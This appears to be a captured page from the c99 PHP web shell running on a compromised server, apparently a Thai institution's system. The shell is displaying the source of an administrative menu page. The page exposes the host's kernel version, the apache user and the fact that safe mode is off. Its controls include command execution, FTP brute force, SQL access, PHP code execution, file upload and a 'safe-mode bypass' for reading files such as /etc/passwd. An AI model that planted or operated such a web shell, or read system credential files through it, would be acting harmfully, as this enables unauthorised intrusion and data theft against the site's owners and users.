!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Showindex.php (8.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("admin_menu.php");
//include("./include/FunctionDB.php");
//ConnectDB();
//$sql = "Select * From user_tb Where Username='$Username'";
//$result = mysql_query($sql) or die(" Error".mysql_error());
//$rs1 = mysql_fetch_array($result);
//$Username = $rs1[Username];
//$sql1 = "Select * From personal_tb Where Username='$Username'";
//$result1 = mysql_query($sql1) or die(" Error".mysql_error());
//$rs = mysql_fetch_array($result1);
?>
<html>
<head>
<title>Management Department</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="./css/style1.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>

<style type="text/css">
<!--
.style5 {color: #003399}
-->
</style>
</head>

<body bgcolor="#F7F5EC" background="./Image/bg5.jpg">
<p>&nbsp;</p>
<table width="50%" border="0" align="center" cellpadding="0" cellspacing="0">
  
  <tr> 
    <td width="2%">&nbsp;</td>
    <td width="8%">&nbsp;</td>
    <td width="74%"><table width="100%" border="0" cellpadding="0" cellspacing="5" bgcolor="#F3ECD2" class="table1" style="border:1px solid gray">
        <tr> 
          <td width="8%" background="./Image/barm.jpg"><div align="center"><img src="Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td width="92%" height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/personal/ShowPersonalData.php" class="d">&nbsp;&nbsp;&nbsp;ฐานข้อมูลอาจารย์</a></font></strong></font></td>
        </tr>
        <tr> 
          <td background="./Image/barm.jpg"><div align="center"><img src="Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/Develop_person_depart/ShowMenu_Develop.php" class="d">&nbsp;&nbsp;&nbsp;ฐานข้อมูลการพัฒนาบุคลากร</a></font></strong></font></td>
        </tr>
        <tr> 
          <td background="./Image/barm.jpg"><div align="center"><img src="Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/project_edu/ShowProjectList.php" class="d">&nbsp;&nbsp;&nbsp;ข้อมูลโครงการประชุมวิชาการ</a></font></strong></font></td>
        </tr>
        <tr> 
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/edu_depart/menu_index.php" class="d">&nbsp;&nbsp;&nbsp;ฐานข้อมูลวิชาการ</a></font></strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Information/InfomationMenu.php" class="d">&nbsp;&nbsp;</a><font size="4"><strong><a href="Plan_dura/Support/Accessories/ShowAccList.php" class="d">&nbsp;ข้อมูลครุภัณฑ์</a></strong></font></font></strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Information/InfomationMenu.php" class="d">&nbsp;&nbsp;</a><font size="4"><strong><a href="Plan_dura/Support/building/ShowBuildingList.php" class="d"> ข้อมูลครุภัณฑ์และสิ่งก่อสร้าง</a></strong></font></font></strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'"><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/Manament/ShowManList.php" class="d">&nbsp;&nbsp;&nbsp;ข้อมูลการแจ้งซ่อมบำรุง</a></font></strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray"><font size="4" face="Tahoma"><strong>&nbsp;<span class="style5">&nbsp; </span></strong></font><font size="4"><strong><font size="4"><strong><font face="Tahoma"><a href="Plan_dura/Project&Acc/ShowPaningByYear.php" class="d">ข้อมูลแผนดำเนินการ</a></font></strong></font></strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray"><font size="4" face="Tahoma"><strong>&nbsp;<span class="style5">&nbsp;</span><font face="Tahoma"><font face="Tahoma"><a href="Plan_dura/project_edu/ShowProjectList.php" class="d">ข้อมูลโครงการประชุมวิชาการ</a></font></font></strong></font></td>
        </tr>
        <tr> 
          <td background="./Image/barm.jpg"><div align="center"><img src="./Image/arrow.gif" width="25" height="25" align="absmiddle"></div></td>
          <td height="25" bgcolor="#FAF9F1" style="border:1px solid gray"> 
            <font size="4" face="Tahoma"><strong>&nbsp;<span class="style5">&nbsp;</span><font face="Tahoma"><font face="Tahoma"><a href="Plan_dura/Book_Acc/ShowBookList.php" class="d">ข้อมูลรับ-ส่งหนังสือราชการ</a></font></font></strong></font></td>
        </tr>
        <tr> 
          <td bgcolor="#FAF9F1"><div align="center"><img src="./Image/arrow.gif" width="15" height="15" align="absmiddle"></div></td>
          <td bgcolor="#FAF9F1"><font size="2" face="Tahoma"><strong><a href="Plan_dura/Finance/Personal_cost/ShowFin1List.php" class="d">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;งบบุคลากร</a></strong></font></td>
        </tr>
        <tr> 
          <td bgcolor="#FAF9F1"><div align="center"><img src="./Image/arrow.gif" width="15" height="15" align="absmiddle"></div></td>
          <td bgcolor="#FAF9F1"><font size="2" face="Tahoma"><strong><a href="Plan_dura/Finance/Public_Utility/ShowFin3List.php" class="d">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;งบค่าสาธารณูปโภค</a></strong></font></td>
        </tr>
        <tr> 
          <td bgcolor="#FAF9F1"><div align="center"><img src="./Image/arrow.gif" width="15" height="15" align="absmiddle"></div></td>
          <td bgcolor="#FAF9F1"><font size="2" face="Tahoma"><strong><a href="Plan_dura/Finance/Durable_art/ShowFinList.php" class="d">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ค่าครุภัณฑ์และสิ่งก่อสร้าง</a> 
            </strong></font></td>
        </tr>
        <tr>
          <td background="./Image/barm.jpg" bgcolor="#FAF9F1"><div align="center"><img src="./Image/arrow.gif" width="7" height="8" align="absmiddle"></div></td>
          <td height="24" bgcolor="#FAF9F1" onMouseOver="this.style.backgroundColor='#FFFF99'" onMouseOut="this.style.backgroundColor='#FAF9F1'" style="border:1px solid gray">&nbsp;</td>
        </tr>
    </table></td>
    <td width="16%">&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--